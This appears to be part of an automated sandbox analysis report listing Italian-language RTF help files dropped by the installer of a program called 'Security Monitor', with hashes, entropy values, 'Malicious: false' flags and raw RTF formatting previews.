Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-UVP7U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40044
Entropy (8bit):	5.023249387110861
Encrypted:	false
SSDEEP:	768:2rF4DO6xByF3LSVj1BgpGk1WhhIHRYRv0lsSTz3BAbZ/6A9u:2raDlZIA9u
MD5:	994EC92B482BB93D1038B2F931B60AA4
SHA1:	130934CF53D1215C4955232421AB44C7CCD1F95B
SHA-256:	9A48D1986A44E9021CE072DE9A9D542357048ABBE6807E4CA151661708969D3C
SHA-512:	5F2424B1B38FC0939FDCF6C29A72067174CB49FC4F97C6CE284570984047B4D5CFBDBB84D63F619DF24B8EAF070FAC3EE71858CD7D9536F5C7920A0AACA895E1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt Times New Roman};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}{\f315\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}@WenQuanYi Micro Hei;}..{\f316\fbidi \froman\fcharset128\fprq2{\*\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	9082
Entropy (8bit):	4.946432574686308
Encrypted:	false
SSDEEP:	192:I2KrPDFr222K2a2O2G2y2E2+2L9jn9js9j39jX9jR9jp9j+9j79ja6z6C6D6E6fp:7Q5r222K2a2O2G2y2E2+2L9jn9js9j3u
MD5:	54A49395929B70CCABC6247E0EA0F779
SHA1:	E522282035DAFE7216BF45CC21762172914D5949
SHA-256:	544C05722BA2824B871D8DC37CC442BF791C266F0E90D96C9A06BF3195D90AFA
SHA-512:	8111740D216DC20333574D61B4C3B39288846315B1EC0214E91B9633D5B48AF8EDF51C77432D0D1FAB10B961D81E6AA4ED981661D37E41DF3E9DD05C9B746DB4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\froman\fprq2\fcharset128 Arial CYR;}{\f8\froman\fprq0\fcharset128 Arial CYR;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Times New Roman;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}{\f15\fnil\fprq2\fcharset128 Cambria Math;}{\f16\fnil\fprq0\fcharset128 Cambria Math;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang104

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	11858
Entropy (8bit):	4.924418755277587
Encrypted:	false
SSDEEP:	192:F9jmDF3222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6goaB7lE9mNUrloY1gTEzGS:Hq53222K2a2O2G2y2E2+2L6z6C6D6E6u
MD5:	D6E34C937850FDC0AB38B06FE809B95C
SHA1:	A4480E9E250F5C3DC5BDD69696AB9F6EB12E8A56
SHA-256:	355420286A6BCDB2190129A5507012B55DC41FB0660ACE771D09F6E60FAFA173
SHA-512:	47F77867C8A5746DF79A29ABA70360BB2DF54F41C08B4B15E831421F76F24DC6B6AF0EE837084E5DDED8DAE3B549AD3236B5D668852BF357F990244FCE2E9D05
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq0\fcharset128 Times New Roman;}{\f11\fnil\fprq2\fcharset128 Arial;}{\f12\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red255\green0\blue0;\red54\green95\blue145;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s2\sbasedon15\snext16\ilvl1\outlinelevel1\ql\widctlpar\faauto\li0\ri0\lin0\rin0\fi0\sb100\sa100\keepn\b\hich\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47653
Entropy (8bit):	5.01810800814238
Encrypted:	false
SSDEEP:	768:2rFexbO6zLpzBDlmvTpIq7GHAR1BgpGk1WhWHi2mM47g0qO2ug04+2WNvg0tQ5qD:2rYbRs7d9ZvIA9t
MD5:	6E75BBD29A0618A73B2937F650F0F678
SHA1:	93EDB94323E37DDD1EC717F4A492442B6B611E3B
SHA-256:	718470BBCEF949095939C54CECB91D117D255A5279D55A204664CE52D1235180
SHA-512:	91C452D52360B231869031CB61255E83AF5D95D0F8C3A2AA0419AF659766E6E1CF4FD16FCE7C85A5EA5164E05C84282D0AA019FCAD85E292BE6D71400FA5D88E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}..{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}..{\f315\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	64122
Entropy (8bit):	5.005532059876539
Encrypted:	false
SSDEEP:	768:2NFM7S0LzLpzBDlmvMuLoPxsMOaWAebaTkPYxmjyzZNBPirmqCadCg0WOxuiOQYX:2N4Sqse5bhHsTs64pPIA98
MD5:	20DED089CE49980F6BA7C2DDFBB4A359
SHA1:	A80EB4246514293DC65C07621B04DB34434DA4FB
SHA-256:	7644F6129405227CC015DC574D41769A25B147A33792008A3BC97D6CA2B31F84
SHA-512:	6863BF40030EE2FA1274103F637F1C8BD0601C5CF9C4EBE6684F13B7F1628B865D7297D464DD623CE50F7C0DFAB9B52CB42E8E6F6843D859469377DBFE68E5B5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}..{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}..{\f43\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000}@Wen

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7640
Entropy (8bit):	4.942902125699651
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y60yM4Nr2R7sB4OYWkXp+Mm:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6u
MD5:	58A7AD4E00C3C48CAC983EAB83D93722
SHA1:	16790F7FED7A5490C15C6A25CD9851B4953E4CF0
SHA-256:	AE872798A7D87EFC10BA3FC5FE65CB5539F84548163F6DB7278705CE4802A0D4
SHA-512:	D609EA322D6AEF1C3EF5E38C749B9C9D168F9865111ACB8F2408D752C20CCE5E5658CD08EB5D2FE79E4627FC0290B33B0D73858FCC821A9D9981009E27EA96C1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	11086
Entropy (8bit):	4.962530121956413
Encrypted:	false
SSDEEP:	192:R2KwSyFd222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jl9ju9jV9j19j/9jX9C:Mrpd222K2a2O2G2y2E2+2L6z6C6D6E6h
MD5:	74D21CC581EFD9F3D31C02D2AD6A7881
SHA1:	701EEEA34850D7EE69EFF56E2344A79A7EAD147E
SHA-256:	9F632C17885E51A74C7875780F422952F1BC64DB978D8EBA765251F692C603E3
SHA-512:	97EC2913358966E62D5D69BD63D0D3C378457BE371702957F25358BAB2DD1C514F92AF769C4FA1A1A4CD3B23F1F7C0358E7B838CC80163CF78775634D4CAC8A4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq0\fcharset128 Tahoma;}{\f6\froman\fprq2\fcharset128 Arial;}{\f7\froman\fprq0\fcharset128 Arial;}{\f8\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f9\fnil\fprq2\fcharset128 Lohit Hindi;}{\f10\fnil\fprq0\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Times New Roman;}{\f12\fnil\fprq0\fcharset128 Courier New Baltic;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af8\langfe2052\dbch\af9\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s2\sbasedon15\snext16\ilvl1\outlinelevel1\ql\widctlpar\faauto\li0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	17786
Entropy (8bit):	4.892369802650086
Encrypted:	false
SSDEEP:	384:TQ5h222K2a2O2G2y2E2+2L6z+CSD6E+fSE6O+YSY6z+CSD6E+fSE6O+YSS6z6C6w:TQ5h7HvTrbVLWsXixqh/1JsXixqh/1X+
MD5:	B7BE54FA07192D11B0624600C99D449E
SHA1:	372509E74C98F5BAE5A50088B4AA1B18711C834F
SHA-256:	0F599243F6282C72AAC90EEF278B4F7BD5B78161508E494ABAC24E719702DDDB
SHA-512:	20C131AE058B058F60D97E21D7E49BAB6FEC975229AFF7302F6559975CEA91F81130F8D1C15E7200A53A61AFB935FE7B3D608838AA0190A42D09D02C168CFE1C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq0\fcharset128 Calibri;}{\f6\froman\fprq2\fcharset128 Arial;}{\f7\froman\fprq0\fcharset128 Arial;}{\f8\froman\fprq2\fcharset128 Calibri;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Times New Roman;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red255\green0\blue0;\red0\green32\blue96;\red35\green0\blue220;\red0\green69\blue134;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang1040 Pr

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7884
Entropy (8bit):	4.965317939103163
Encrypted:	false
SSDEEP:	192:zersYRcg17pzo2uz1FwLcxwSwbzUPhjNAqecUAySMnuturWGi:ZYf7doz1FwLcxwSwnUPhxAqecUAyLuIA
MD5:	83F331C3191915043D3C1F96D04AD2AA
SHA1:	1F5A281457AD229178ADFE68E6ED3C407DD15BA5
SHA-256:	864E70E0CBF1CBB5EF7B65EC5A90D617D299A0C896E17EA6C973BF5D0F44ADA0
SHA-512:	C047F469B1A5BF82D88443D33B1B26AA30B4CB1E5C8A515119B5D62B3D98C4761830761D0813994DAA9BDE86BB7F73ABF47ADDE25A74D6FCEA05D5F0E0E779B6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\froman\fprq2\fcharset128 Times New Roman;}{\f8\froman\fprq0\fcharset128 Times New Roman;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq2\fcharset128 Arial;}{\f13\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af9\dbch\af10\afs28\loch\f4\fs28 Intestazione;}.{\s16\sba

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10281
Entropy (8bit):	4.953685836066729
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9S:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6Z
MD5:	8D669B205AF7D1401C340D474FADE116
SHA1:	C61F519EF768F519E93F456D61FCEFE93EF1A058
SHA-256:	2B01786D3BA405BAA36920EF092701AF28CEA08F56507D4DE9717D47474C3B65
SHA-512:	0697175789BE81C29F0FBB5DD815FB46B553A6D241D8936C0E29F95D23651A2B730A893B98C90F6F3494B93FF0144F05DE95DB24D089EC01084C0FC8E36B3F70
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	9031
Entropy (8bit):	4.942487008032181
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9v:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6Q
MD5:	140A646744F5CA2B77DC3CCAB81BE3E9
SHA1:	57D15787E167C9284D0A57DE074749A8A10D6267
SHA-256:	FACA864E826FC4333E1C6D8726C97446A824856214E302B154757A0071BB0666
SHA-512:	F00406EA7C8EDA722707892A86C72A1331F1DEB007A78F34CC27A3B6175D3737AF9DA542F926313644B1CF0D8BAE087529196DBEEC4C7AE6EA3BCD5CE42D0F0F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10229
Entropy (8bit):	4.949701462728225
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9z:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6o
MD5:	328B6D1A72880E42399A6A9FAAE89707
SHA1:	B90F232CBADDD083D3E72EED57B362DBB5BB6B89
SHA-256:	731252A5DD9F5F1D6BAF95F06B86795064735EF2EDB2A7B0A0400535B28FB1C2
SHA-512:	70D96DB14DF3EA083AF7512998DBD565CD5DDEFDA0CB61A3378B9563642CB5FACD4D80A70763A454BE7B7BF4AA28A60C9B31AF7916066C9E56C5DB1A6F3D93D8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40044
Entropy (8bit):	5.023249387110861
Encrypted:	false
SSDEEP:	768:2rF4DO6xByF3LSVj1BgpGk1WhhIHRYRv0lsSTz3BAbZ/6A9u:2raDlZIA9u
MD5:	994EC92B482BB93D1038B2F931B60AA4
SHA1:	130934CF53D1215C4955232421AB44C7CCD1F95B
SHA-256:	9A48D1986A44E9021CE072DE9A9D542357048ABBE6807E4CA151661708969D3C
SHA-512:	5F2424B1B38FC0939FDCF6C29A72067174CB49FC4F97C6CE284570984047B4D5CFBDBB84D63F619DF24B8EAF070FAC3EE71858CD7D9536F5C7920A0AACA895E1
Malicious:	false
Reputation:	unknown
